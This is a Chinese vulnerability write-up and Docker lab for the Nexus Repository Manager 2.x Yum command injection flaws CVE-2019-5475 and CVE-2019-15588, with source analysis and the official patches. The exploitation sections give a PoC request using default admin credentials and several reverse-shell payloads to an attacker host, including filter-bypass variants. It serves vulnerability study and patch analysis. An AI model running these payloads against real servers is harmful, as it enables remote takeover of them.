0x10 漏洞背景
Nexus 的全称是 Nexus Repository Manager,是 Sonatype 公司推出的一个强大的仓库管理器,它极大地简化了内部仓库的维护和外部仓库的访问。
以往主要用之搭建 maven 私有仓库,但是随着社区更新不断迭代,它的功能不再局限于 maven,更是进一步覆盖了 nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt 等私有仓库的搭建。
这次的 CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞,其最早被披露于 hackerone,但因官方第一次修复不完整,故又衍生出了 CVE-2019-15588 漏洞。
这两个漏洞都需要以 admin 身份登录后才可以利用,但是 nexus 默认管理员密码 admin123 经常被忽略修改,很容易就被利用了。
0x20 漏洞靶场
- 靶场源码: https://github.com/EXP-Docs/CVE-2019-5475
- 环境说明:
- Docker:
latest
- Nexus:
2.14.9
与2.14.15
- Docker:
- 靶场结构:
CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│ └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]
0x30 靶场搭建
- 宿主机预装 docker 和 docker-compose
- 下载仓库: git clone https://github.com/EXP-Docs/CVE-2019-5475
- 打开 Nexus 构建目录:
cd CVE-2019-5475
- 构建并运行 Nexus:
docker-compose up -d
- 约 5 分钟后可从浏览器访问 Nexus (BasicAuth 为
admin/admin123
),其中:
Nexus | CVE | URL |
---|---|---|
2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
2.14.15 | CVE-2019-15588 | http://127.0.0.1:8015/nexus |
此靶场还搭建了一台攻击机 172.168.50.2,处于与两台靶机相同的网络环境,其作用是用于验证反弹 shell
0x40 靶场验证
0x41 CVE-2019-5475
使用 admin 登录 http://127.0.0.1:8009/nexus/#capabilities,在 Administration -> Capabilities -> Yum: Configuration -> Settings
可以找到 RCE 注入点。
输入框 Path of "createrepo"
和 Path of "mergerepo"
均可被注入,执行结果可以从 Status
查看。
例如在 createrepo
注入点构造 PoC bash -c id || python
,即可从 Status
得到命令 bash -c id
的执行结果 uid=200(nexus) gid=200(nexus) groups=200(nexus)
。
通过 BurpSuite 可截获到对应 PoC 请求为:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}
0x42 CVE-2019-15588
注入位置与 CVE-2019-5475 相同,调整 PoC 为: /bin/bash -c id || /createrepo
0x50 漏洞分析
通过阅读官方补丁的代码改动位置,可以大概分析到漏洞成因。
从官方第一次针对 CVE-2019-5475 发布的修复补丁可知关键代码类有两个:
public class YumCapability extends CapabilitySupport<YumCapabilityConfiguration> {
public Condition activationCondition() {
return conditions().capabilities().evaluable(
new Evaluable() {
@Override
public boolean isSatisfied() {
......
validate("createrepo", getConfig().getCreaterepoPath(), "[0.9.9,)", message, verificationLog);
validate("mergerepo", getConfig().getMergerepoPath(), "[0.1,)", message, verificationLog);
......
}
private void validate(final String type, final String path,
final String versionConstraint,
final StringBuilder message, final StringBuilder verificationLog) {
......
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
if (commandLineExecutor.exec(path + " --version", baos, baos) == 0) {
......
}
}
catch (IOException e) {
......
}
}
}
)
}
}
public class CommandLineExecutor {
public int exec(final String command, OutputStream out, OutputStream err) throws IOException {
CommandLine cmdLine = CommandLine.parse(command);
DefaultExecutor executor = new DefaultExecutor();
executor.setStreamHandler(new PumpStreamHandler(out, err));
int exitValue = executor.execute(cmdLine);
return exitValue;
}
}
不难解读其数据处理逻辑如下:
- 在前端 GUI 输入框
Path of "createrepo"
输入的值会存储到getConfig().getCreaterepoPath()
- 令
path = getConfig().getCreaterepoPath()
path
值会在YumCapability.activationCondition()
内通过validate()
进行校验- 其校验方法为在
path
末尾拼接字符串--version
,然后通过CommandLineExecutor.exec()
执行 CommandLineExecutor.exec()
就是对系统命令调用的封装
显然这里存在命令注入漏洞,当我们在前端输入 ${INPUT}
时,会在系统执行命令 ${INPUT} --version
。
因此我们在靶场输入 bash -c id || python
时,相当于在系统执行命令 bash -c id || python --version
。
bash -c
目的是使用 bash 环境执行命令,有兴趣可以看下这篇文章关于bash -c cmd_string
的解释
0x60 漏洞利用
接下来似乎就很好办了,参考我的这篇文章《各种语言一句话反弹shell》,不就可以很轻易地注入一个反弹 shell 么 :bash -i >&/dev/tcp/${IP}/${PORT} 0>&1
?
- 登录靶场攻击机 172.168.50.2 :
docker exec -it -u root docker_attacker /bin/bash
- 利用 netcat 监听反弹:
nc -lvvp 4444
- 在
Path of "createrepo"
输入框构造 payload:bash -c bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
事实上这个 payload 并不能利用成功。
为了探究原因,这里需要进一步解读 Nexus 的源码(我把核心代码抽离到了 Maven 项目 nexus-yum-core
,有兴趣可以用这个项目 DEBUG)。
Nexus 自己封装了一个系统命令执行类 CommandLineExecutor.java
,这个类是对 apache 构件 commons-exec-x.y.jar 的简单封装。它调用了该构件的 CommandLine.parse(command)
方法,该方法使用 translateCommandline()
对输入的命令进行了拆解:
- 按
"
(双引号)、'
(单引号)、 - 对于在
"
(双引号) 或'
(单引号) 内的子串则认为是一个整体(即使引号内有空格),并先删除其原本的引号,再强制在子串两端追加双引号
例如:
输入 | 输出 | 备注 |
---|---|---|
bash -c echo 111 |
String[] { bash 、-c 、echo 、111 } |
- |
bash -c 'echo 111' |
String[] { bash 、-c 、"echo 111" } |
注意 "echo 111" 的双引号并不是用来表示字符串的,而是这个字符串两端真的有双引号 " |
拆解后的命令字符串数组会被存储到 CommandLine.java
对象内,其中第 0 个子串作为命令脚本,后续所有子串作为该脚本的参数。
跟踪 DefaultExecutor.execute()
发现,CommandLine.java
最终在 Java13CommandLauncher.exec()
通过 toStrings()
被展开执行:
public Process exec(final CommandLine cmd, final Map<String, String> env, final File workingDir) throws IOException {
final String[] envVars = EnvironmentUtils.toStrings(env);
return Runtime.getRuntime().exec(cmd.toStrings(), envVars, workingDir);
}
显然,真正执行命令的主体就是 Runtime.getRuntime().exec()
,需要注意,Runtime
的 exec()
方法重载了两种类型的参数,其使用方式是完全不同的(可参考这篇文章):
Runtime.getRuntime().exec(String command)
: 不支持重定向符<
、>
和管道符|
Runtime.getRuntime().exec(String cmdarray[])
: 支持复杂命令, Nexus 实际调用的方法
回看前面我们构造的 payload: bash -c bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
。
实际上它被拆解为 String[] { bash
、-c
、bash
、-i
、>&/dev/tcp/172.168.50.2/4444
、0>&1
、||
、python
},切割出来的后面所有字符串都作为了 bash
的参数,当然无法执行成功了。
我们真正期望的 payload 应该是把 bash -i >&/dev/tcp/172.168.50.2/4444 0>&1
整体作为 bash -c
的参数字符串。那么直接构造这样的 payload 又是否可行呢: bash -c "bash -i >&/dev/tcp/172.168.50.2/4444 0>&1" || python
?
很遗憾也是不可行的,前面分析 Nexus 代码的时候,提到了一个函数 translateCommandline()
,它会把这种形式的命令拆解成:
String[] { bash
、-c
、"bash -i >&/dev/tcp/172.168.50.2/4444 0>&1"
、||
、python
}
而我们期望应该拆解为(留意看第 2 个参数,作为整体字符串的同时两侧不能有双引号):
String[] { bash
、-c
、bash -i >&/dev/tcp/172.168.50.2/4444 0>&1
、||
、python
}
那么现在的问题就是要想办法绕过 translateCommandline()
对 bash -c cmd_string
的影响。有两种绕过选择:
- (1)允许
cmd_string
被按空格完全拆解,但是在 Linux 层面依然可以正常执行 - (2)使得
cmd_string
成为一个整体被携带到Runtime.getRuntime().exec(String cmdarray[])
又不会在其两端附加双引号
苦思无果,最后参考《绕过exec获取反弹shell》这篇文章得到答案,这两个思路其实都能做。
0x61 利用 Linux 语法特性
允许
cmd_string
被按空格完全拆解,但是在 Linux 层面依然可以正常执行
这里要利用 Linux 中三种语法特性:
echo
会以文本形式无条件打印其后所有参数(不管参数间是否有空格)- 在 shell 脚本中,特殊变量
$@
(或$*
) 可以获得除了$0
(脚本路径)之外的所有脚本参数(即$1
…$n
) - 管道命令
|
可以把前一个命令的输出作为后一个命令的输入
结合三者可以构筑一条像这样的命令:bash -c $@|bash any_script_path echo cmd_string
不妨分析一下这条命令的含义:
- 经过前面分析,
bash -c $@|bash
相信大家都很熟悉了,就是在bash
环境执行命令$@|bash
,但是这个命令有点特殊,是$@
,即取脚本参数。 - 此时 shell 就会解析后面的
any_script_path echo cmd_string
,由于$@
只取脚本参数,于是脚本路径any_script_path
就会被忽略,只取echo cmd_string
。 - 于是
$@|bash
就被解析为echo cmd_string|bash
,此时就变成了一条管道命令:echo
以文本形式输出了cmd_string
,然后作为bash
的入参被执行了(可以理解为echo
输出了一条命令cmd_string
到一个临时的脚本文件,然后用bash
执行了该脚本文件)
回到这次漏洞,只要令 any_script_path
为任意值(如 0
),cmd_string
为 bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
,我们就可以得到 payload :bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
虽然它被按空格完全拆解,但是利用上述的 Linux 语法特性,是可以成功执行 bash -i >&/dev/tcp/172.168.50.2/4444 0>&1
实现反弹 shell 的。
0x62 利用 Base64 编码
使得
cmd_string
成为一个整体被携带到Runtime.getRuntime().exec(String cmdarray[])
又不会在其两端附加双引号
是的,借用 Base64 编码就可以很巧妙地达到此目的,即令 cmd_string
为 Base64.encode(bash -i >&/dev/tcp/172.168.50.2/4444 0>&1)
,我们就可以构造这样的 payload :bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} || python
但这条 payload 只是理论上可行,因为它只能绕过 java 后端逻辑,无法绕过 nexus 前端校验,因此无法使用。
0x70 漏洞修复(不完整)
上述即为漏洞 CVE-2019-5475 原理,官方针对其发布了第一次修复补丁。
改动的内容不多,核心改动的只有两个位置:
CommandLineExecutor.exe()
: 入参增加一个参数,不再直接拼接 GUI 的${INPUT}
和--version
CommandLineExecutor.getCleanCommand()
: 增加的命令清洗方法,用于校验${INPUT}
是否合法
private String getCleanCommand(String command, String params) {
if (allowedExecutables.contains(command)) {
return command + " " + params;
}
File file = new File(command);
if (file.getAbsolutePath().startsWith(applicationDirectories.getWorkDirectory().getAbsolutePath())) {
LOG.debug("Attempt to execute command with illegal path {}", file.getAbsolutePath());
return null;
}
if (!allowedExecutables.contains(file.getName())) {
LOG.debug("Attempt to execute illegal command {}", file.getAbsolutePath());
return null;
}
return file.getAbsolutePath() + " " + params;
}
先来解读一下这个方法:
- 在前端 GUI 输入框
Path of "createrepo"
输入的${INPUT}
会作为入参command
的值,而入参params
的固定值就是--version
- 从上下文代码来看
allowedExecutables
是一个 Hash 表,其中只有两个元素:createrepo
和mergerepo
applicationDirectories.getWorkDirectory().getAbsolutePath()
就是 Nexus 项目路径,可以认为是固定值/sonatype-work
那么其逻辑就很清晰了:
- (1) 先判断
${INPUT}
是否为createrepo
或mergerepo
之一,若是则无需校验直接返回 - (2) 然后通过
new File(command)
取得我们输入的命令脚本文件对象,目的应该是为了确保输入的${INPUT}
只能是有效的脚本文件路径 - (3) 继而通过
file.getAbsolutePath()
检查这个脚本文件的路径是否在 Nexus 的工作目录内,目的应该是避免 webshell - (4) 最后通过
file.getName()
检查脚本的文件名是否为createrepo
或mergerepo
之一
综上来看,这段代码就是试图确保我们输入的命令脚本,必须是 createrepo
或 mergerepo
,但是这两个脚本可以放在除了 /sonatype-work
目录外的任意路径。
0x80 漏洞二次利用
现在目标很明确了,我们构造的 ${INPUT}
必须是合法的文件路径,即满足(2),同时要绕过(1)(3)(4)。
先前的 payload: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
是没办法绕过这几层校验的,但是我们只需要对它进行改造即可。
首先要使其可以被 new File()
识别,就要让它【看起来】是一个文件路径(不需要文件真正存在)。须知道 new File()
是允许路径中有空格的,而且 Linux 也允许文件名中有空格和特殊字符,那么就很好办了:在其开头加上 /bin/
、其末尾修改为 /createrepo
。
于是 payload 就变成: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
。 它会被 new File()
解读为:
- 一级目录:
/
- 二级目录:
bin/
- 三级目录:
bash -c $@|bash 0 echo bash -i >&/
- 四级目录:
dev/
- 五级目录:
tcp/
- 六级目录:
172.168.50.2/4444 0>&1 || /
- 文件名:
createrepo
此时 file.getAbsolutePath()
得到的就是 /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
,已经可以绕过(1)(2)(3)了。而 file.getName()
得到的是 createrepo
,可以绕过(4)。
所以最终可以成功反弹 shell 的 payload 为: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
0x90 漏洞修复
上述即为漏洞 CVE-2019-15588 原理,官方针对其发布了第二次修复补丁。
这次修改改动不多,主要针对 CommandLineExecutor.getCleanCommand()
方法添加了 file.exists()
判断,即要求我们 ${INPUT}
输入的脚本文件路径必须是真正存在的:
if (!file.exists()) {
LOG.debug("Attempt to execute command that doesn't exist {}", file.getAbsolutePath());
return null;
}
至此这个注入点才算是真正被修复,不再轻易被绕过。